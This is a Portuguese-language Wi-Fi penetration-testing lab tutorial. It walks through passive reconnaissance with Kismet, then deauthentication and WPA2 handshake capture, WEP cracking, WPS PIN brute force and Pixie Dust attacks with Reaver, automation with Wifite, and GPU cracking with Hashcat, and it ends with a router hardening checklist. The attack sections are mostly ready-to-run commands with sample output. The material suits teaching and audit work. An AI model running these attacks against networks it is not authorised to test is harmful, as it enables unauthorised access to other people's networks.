Laboratório de Segurança Wi-Fi com Kismet, Aircrack-ng, Reaver e Wifite

1. Configuração do ambiente

O laboratório utiliza Kali Linux ou Parrot OS Security, ambientes amplamente usados em auditoria de segurança e forense digital. Em ambos os casos, valide a disponibilidade das ferramentas e mantenha o sistema atualizado. O adaptador wireless USB deve suportar Monitor Mode e Packet Injection — requisitos obrigatórios para captura ativa e passiva.

Hardware recomendado

Access point de baixo custo e clientes legítimos

Para simular conexões reais de usuários, utilize um roteador doméstico configurado como access point isolado, sem conexão com redes institucionais ou de terceiros. A recomendação de baixo custo para laboratório é um equipamento dual-band AC1200, pois permite testar cenários em 2.4 GHz e 5 GHz com WPA2/WPA3 quando disponível.

Verificar suporte a monitor mode

# Listar modos suportados pelo adaptador
iw list | grep -A 10 "Supported interface modes"

Supported interface modes:
 * managed
 * AP
 * monitor          ← obrigatório para captura passiva
 * P2P-client

Instalar ferramentas

apt update && apt install -y kismet aircrack-ng reaver wifite hcxtools hashcat

✓ kismet instalado
✓ aircrack-ng instalado
✓ reaver instalado
✓ wifite instalado
✓ hcxtools instalado   # conversão de hashes para hashcat
✓ hashcat instalado    # cracking acelerado por GPU

Identificar a interface wireless

ip link show | grep -i wlan
3: wlan0: <BROADCAST,MULTICAST> mtu 1500 state DOWN

iwconfig wlan0
wlan0   IEEE 802.11  ESSID:off/any
        Mode:Managed  Frequency:2.412 GHz  Tx-Power=20 dBm

2. Kismet — reconhecimento passivo

Kismet é um sniffer e IDS wireless que opera em modo exclusivamente passivo: não transmite pacotes, apenas captura o tráfego presente no ar. Por isso, é ideal para mapeamento de redes sem ser detectado por sistemas de monitoramento.

Iniciar o Kismet

# Iniciar com interface wlan0
kismet -c wlan0

[INFO] Launched kismet server
[INFO] Web UI disponível → http://localhost:2501
[INFO] Capturando em wlan0

[FOUND] AP: HomeNet_5G    BSSID: AA:BB:CC:11:22:33  Ch:6   WPA2  -62dBm
[FOUND] AP: LabRouter     BSSID: AA:BB:CC:44:55:66  Ch:36  WPA3  -55dBm
[WARN]  AP: OLD_NETWORK   BSSID: AA:BB:CC:77:88:99  Ch:1   WEP   -78dBm ← VULNERÁVEL

Exportar dados para análise

# Converter captura Kismet para PCAP (análise no Wireshark)
kismetdb_to_wireshark --in kismet.kismet --out captura.pcap

✓ captura.pcap exportado (1.2 MB, 4832 frames)
✓ redes.csv exportado (23 APs, 47 clientes)

Identificar probe requests

Dispositivos sem fio transmitem probe requests buscando redes salvas anteriormente. Esse tráfego revela histórico de conexões do usuário e pode ser explorado em ataques de engenharia social ou rogue AP.

# Listar dispositivos e as redes que estão buscando
grep "probe" kismet.log | awk '{print $5, $8}'

Device AA:11:22:33:44:55  →  "CasaAntiga_WiFi"
Device BB:66:77:88:99:00  →  "HotelABC_Guest"

Kismet como IDS na própria rede

# Alertar sobre flood de desautenticação e rogue APs
kismet -c wlan0 --alert DEAUTHFLOOD,5,1 --alert APSPOOF,10,60

[ALERT] DEAUTHFLOOD: possível ataque de desautenticação detectado!
        Origem: AA:BB:CC:11:22:33 → 5 frames em 1 segundo

3. Aircrack-ng — captura e análise

O conjunto Aircrack-ng é a suite mais completa para auditoria de redes Wi-Fi. Cada ferramenta da suite cobre uma etapa do processo de análise.

Passo 1 — ativar monitor mode

# Encerrar processos que conflitam com o monitor mode
airmon-ng check kill

# Ativar monitor mode na interface wlan0
airmon-ng start wlan0

✓ Processos encerrados: NetworkManager, wpa_supplicant
✓ Interface de monitor criada: wlan0mon

Passo 2 — escanear redes

# Escanear bandas 2.4 GHz e 5 GHz e salvar captura
airodump-ng wlan0mon --band abg -w captura --output-format pcap

 BSSID              CH  PWR  ENC    ESSID
 AA:BB:CC:11:22:33   6  -62  WPA2   TargetNetwork
 AA:BB:CC:44:55:66  36  -55  WPA3   LabRouter
 AA:BB:CC:77:88:99   1  -78  WEP    OldRouter     ← crack em minutos

Passo 3 — capturar handshake WPA2

# Focar em canal e BSSID do alvo
airodump-ng -c 6 --bssid AA:BB:CC:11:22:33 -w handshake wlan0mon

# Em outro terminal: desautenticar cliente para forçar reconexão
aireplay-ng -0 5 -a AA:BB:CC:11:22:33 -c DD:EE:FF:00:11:22 wlan0mon

Enviando 5 frames de DeAuth direcionados...
WPA handshake: AA:BB:CC:11:22:33  ← capturado com sucesso

Passo 4 — tentativa de recuperação da chave por dicionário

# Testar senhas do wordlist rockyou contra o handshake capturado
aircrack-ng -w /usr/share/wordlists/rockyou.txt handshake-01.cap

Testando 14.341.564 chaves...
KEY FOUND! [ senha123 ]
Tempo decorrido: 4m 23s  |  Velocidade: 54.521 chaves/s

WEP — crack direto (protocolo obsoleto)

# Coletar IVs via ataque de reinjeção ARP
aireplay-ng -3 -b AA:BB:CC:77:88:99 wlan0mon

# Iniciar crack quando houver IVs suficientes (~50.000)
aircrack-ng -b AA:BB:CC:77:88:99 captura-01.cap

KEY FOUND! [ 1A:2B:3C:4D:5E ]
# WEP é quebrado em minutos — nunca utilize este protocolo

Restaurar interface ao modo gerenciado

airmon-ng stop wlan0mon && service NetworkManager restart

4. Reaver — ataque ao WPS PIN

O WPS (Wi-Fi Protected Setup) possui uma vulnerabilidade de design documentada: o PIN de 8 dígitos é verificado em duas metades independentes, reduzindo o espaço de busca de 100 milhões de combinações para apenas cerca de 11.000 tentativas. Roteadores com WPS ativo são, portanto, suscetíveis a ataques de força bruta.

Passo 1 — verificar roteadores com WPS ativo

# Listar APs com WPS e status de bloqueio
wash -i wlan0mon --ignore-fcs

 BSSID              Ch  dBm  WPS  Lck  ESSID
 AA:BB:CC:11:22:33   6  -62  2.0  No   TargetRouter   ← WPS ativo e desbloqueado
 AA:BB:CC:44:55:66  36  -55  2.0  Yes  LabRouter      ← WPS bloqueado após tentativas

Passo 2 — brute-force do PIN WPS

# -vv = verbose | --delay = pausa entre tentativas para evitar lockout
reaver -i wlan0mon -b AA:BB:CC:11:22:33 -vv --delay 1 --no-associate

[+] Tentando PIN 12345670
[+] Tentando PIN 00005678
[!] Rate limiting detectado — aumentando delay para 5s...
[+] WPS PIN: '87654321'
[+] WPA PSK: 'MinhaRedeFibra2024'

Passo 3 — Pixie Dust attack (ataque offline, muito mais rápido)

O ataque Pixie Dust explora a geração fraca de nonces aleatórios em chips vulneráveis (Ralink, Broadcom, Realtek antigos). Em vez de testar PINs sequencialmente, a chave é derivada offline a partir de dois nonces capturados em uma única troca de mensagens WPS.

# -K 1 = habilitar Pixie Dust attack
reaver -i wlan0mon -b AA:BB:CC:11:22:33 -vv -K 1

[Pixie-Dust] Nonces capturados. Calculando chave offline...
[Pixie-Dust] WPS PIN recuperado em 43 segundos!

Comparativo dos métodos

5. Wifite — automação completa

Wifite orquestra automaticamente as ferramentas da suite Aircrack-ng e o Reaver, selecionando o vetor de ataque mais adequado para cada rede identificada. Reduz a necessidade de executar comandos individuais em sequência durante uma auditoria.

Uso básico

# Escanear, selecionar alvos e atacar automaticamente
wifite --wpa --wps --dict /usr/share/wordlists/rockyou.txt

 [+] Escaneando alvos... (CTRL+C para parar e listar)

   NUM  ESSID           BSSID              CH  ENC   WPS  CLIENTES
     1  TargetNet       AA:BB:CC:11:22:33   6  WPA2  Sim  3
     2  OldRouter       AA:BB:CC:77:88:99   1  WEP   Não  1

 [!] Atacando #1 TargetNet (WPA2 + WPS)
 [+] Pixie-Dust concluído em 1m 12s
 [+] Resultado → PSK: senha123

Opções de filtragem

# Apenas redes com sinal forte, sem enviar frames de desautenticação
wifite --wpa --min-power -60 --nodeauth

# Somente ataque WPS, ignorar handshake WPA
wifite --wps --no-wpa

# Capturar PMKID (não exige cliente associado)
wifite --pmkid

Pós-captura com Hashcat (aceleração por GPU)

Para aumentar significativamente a velocidade de recuperação de senhas, é possível converter a captura para o formato nativo do Hashcat e utilizar a GPU da máquina de testes.

# Converter handshake .cap para formato Hashcat (hc22000)
hcxtools -i handshake.pcap -o hash.hc22000

# Executar crack com regras de mutação de senha
hashcat -m 22000 hash.hc22000 rockyou.txt --rules-file best64.rule

Session: hashcat  STATUS: Cracked
Hash: $PMKID$...:MinhaRede:senhaForte99
Velocidade: 2.1 MH/s  (RTX 3080)

Comparativo de velocidade

6. Hardening e defesa

O conhecimento das técnicas de ataque é essencial para implementar contramedidas eficazes. A seguir, um checklist de configurações que eliminam ou mitigam os vetores abordados neste laboratório.

Checklist de segurança para roteadores

• ✓Usar WPA3 sempre que possível. Mínimo aceitável: WPA2-AES (CCMP). Nunca usar TKIP ou WEP.
• ✓Desabilitar WPS completamente no painel de administração do roteador.
• ✓Senha Wi-Fi com 16 ou mais caracteres, gerada aleatoriamente, com letras, números e símbolos.
• ✓Habilitar PMF (Protected Management Frames / IEEE 802.11w) para proteção contra ataques de desautenticação.
• ✓Criar rede isolada para dispositivos IoT via VLAN ou rede de convidados sem acesso à rede principal.
• ✓Atualizar o firmware do roteador regularmente para corrigir vulnerabilidades conhecidas.
• ✓Monitorar a própria rede com Kismet configurado como IDS para detectar ataques e rogue APs.
• ✗Evitar senhas baseadas em nome da rede, endereço residencial, data ou nome de pessoa.
• ✗Evitar acumular redes salvas no dispositivo — probe requests revelam histórico de conexões.
• ✗Não manter redes abertas sem autenticação em ambientes com dados sensíveis.

Gerar senha forte via linha de comando

# Gerar 24 bytes aleatórios em base64
openssl rand -base64 24
K9mXpQ2vRw7nLsYdFhJcUbE4==   ← use como senha Wi-Fi

# Alternativa: caracteres alfanuméricos e símbolos
tr -dc 'A-Za-z0-9!@#$%' < /dev/urandom | head -c 20; echo
mK8!xR2@qP5#wL9$vN3%

Verificar se a senha foi exposta em vazamentos

# Calcular SHA-1 da senha localmente
echo -n "SuaSenha123" | sha1sum | cut -c1-5
A94A8   ← consulte os 5 primeiros caracteres em haveibeenpwned.com/passwords
# O método k-anonymity garante que a senha completa nunca sai do seu sistema

Comparativo de protocolos de segurança Wi-Fi

Referências e próximos passos